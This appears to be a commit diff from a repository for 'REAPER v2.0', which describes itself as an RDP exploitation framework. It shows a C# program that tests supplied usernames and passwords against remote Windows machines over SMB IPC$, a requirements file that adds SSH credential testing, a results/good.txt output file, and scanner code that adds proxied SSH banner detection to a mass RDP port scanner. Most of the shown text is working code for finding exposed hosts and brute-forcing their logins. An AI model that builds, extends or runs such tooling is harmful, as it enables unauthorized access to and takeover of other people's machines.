int result = WNetAddConnection2(ref nr, password, username, CONNECT_TEMPORARY);
|
||||
|
||||
if (result == NO_ERROR)
|
||||
{
|
||||
// Success! Clean up the connection
|
||||
WNetCancelConnection2(remotePath, CONNECT_TEMPORARY, true);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// ── Main ──────────────────────────────────────────────
|
||||
static int Main(string[] args)
|
||||
{
|
||||
if (args.Length < 4)
|
||||
{
|
||||
Console.Error.WriteLine("Usage: rdpthread.exe <ip> <port> <username> <password>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
string ip = args[0];
|
||||
int port = int.Parse(args[1]);
|
||||
string username = args[2];
|
||||
string password = args[3];
|
||||
|
||||
// Step 1: Quick TCP connectivity check
|
||||
if (!TcpConnect(ip, port))
|
||||
{
|
||||
// Port not reachable - try IPC$ anyway (SMB uses port 445)
|
||||
// The WNetAddConnection2 will fail gracefully if unreachable
|
||||
}
|
||||
|
||||
// Step 2: Validate credentials via IPC$ (SMB)
|
||||
// This uses Windows built-in authentication against the remote machine
|
||||
bool success = ValidateCredentials(ip, username, password);
|
||||
|
||||
if (success)
|
||||
{
|
||||
Console.WriteLine("success");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,9 @@
|
||||
# FastRDP-NG - zero dependencies needed for core
|
||||
# Optional pretty terminal output:
|
||||
# colorama>=0.4.6
|
||||
# REAPER v2.0 - RDP Exploitation Framework
|
||||
#
|
||||
# Core runs on Python stdlib (asyncio, tkinter, socket).
|
||||
# These are only needed for the proxy module:
|
||||
aiohttp>=3.9.0
|
||||
aiohttp-socks>=0.11.0
|
||||
|
||||
# SSH credential testing via paramiko:
|
||||
paramiko>=3.0.0
|
||||
|
||||
1
results/good.txt
Normal file
1
results/good.txt
Normal file
@@ -0,0 +1 @@
|
||||
|
||||
62
scanner.py
62
scanner.py
@@ -14,10 +14,16 @@ logger = logging.getLogger("FastRDP-NG")
|
||||
# RDP ports to scan
|
||||
RDP_PORTS = [3389, 3390, 3391]
|
||||
|
||||
# SSH port
|
||||
SSH_PORT = 22
|
||||
|
||||
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||
RDP_BANNER_SIG = b'\x03\x00'
|
||||
|
||||
# SSH banner prefix
|
||||
SSH_BANNER_SIG = b'SSH-'
|
||||
|
||||
|
||||
async def check_rdp_port(
|
||||
ip: str,
|
||||
@@ -88,6 +94,43 @@ async def check_rdp_with_banner(
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def check_ssh_banner(
|
||||
ip: str,
|
||||
port: int,
|
||||
connect_timeout: float = 2.0,
|
||||
banner_timeout: float = 1.0,
|
||||
proxy_manager=None
|
||||
) -> Tuple[str, int, bool]:
|
||||
"""
|
||||
Connect + read SSH banner to confirm it's SSH.
|
||||
SSH banners look like: SSH-2.0-OpenSSH_8.9p1 ...
|
||||
"""
|
||||
open_conn = asyncio.open_connection
|
||||
if proxy_manager and proxy_manager.enabled:
|
||||
open_conn = proxy_manager.open_connection
|
||||
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
open_conn(ip, port),
|
||||
timeout=connect_timeout
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(8),
|
||||
timeout=banner_timeout
|
||||
)
|
||||
is_ssh = data.startswith(SSH_BANNER_SIG)
|
||||
return (ip, port, is_ssh)
|
||||
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||
return (ip, port, False)
|
||||
finally:
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||
OSError, ConnectionError):
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def scan_ips(
|
||||
ips: List[str],
|
||||
ports: List[int] = None, # type: ignore
|
||||
@@ -119,6 +162,16 @@ async def scan_ips(
|
||||
|
||||
checker = check_rdp_with_banner if banner_check else check_rdp_port
|
||||
|
||||
if progress_callback and total > 0:
|
||||
if total <= 1000:
|
||||
progress_every = max(1, total // 50 or 1)
|
||||
elif total <= 10000:
|
||||
progress_every = 100
|
||||
else:
|
||||
progress_every = 1000
|
||||
else:
|
||||
progress_every = 0
|
||||
|
||||
async def check_one(ip: str, port: int):
|
||||
nonlocal checked
|
||||
async with sem:
|
||||
@@ -130,10 +183,11 @@ async def scan_ips(
|
||||
if live_callback:
|
||||
live_callback(ip, p)
|
||||
checked += 1
|
||||
if progress_callback and checked % 1000 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = checked / elapsed if elapsed > 0 else 0
|
||||
progress_callback(checked, total, len(live_hosts), rate)
|
||||
if progress_callback and progress_every:
|
||||
if checked == total or checked % progress_every == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = checked / elapsed if elapsed > 0 else 0
|
||||
progress_callback(checked, total, len(live_hosts), rate)
|
||||
|
||||
# Fire all tasks concurrently
|
||||
tasks = []
|
||||
|
||||
Reference in New Issue
Block a user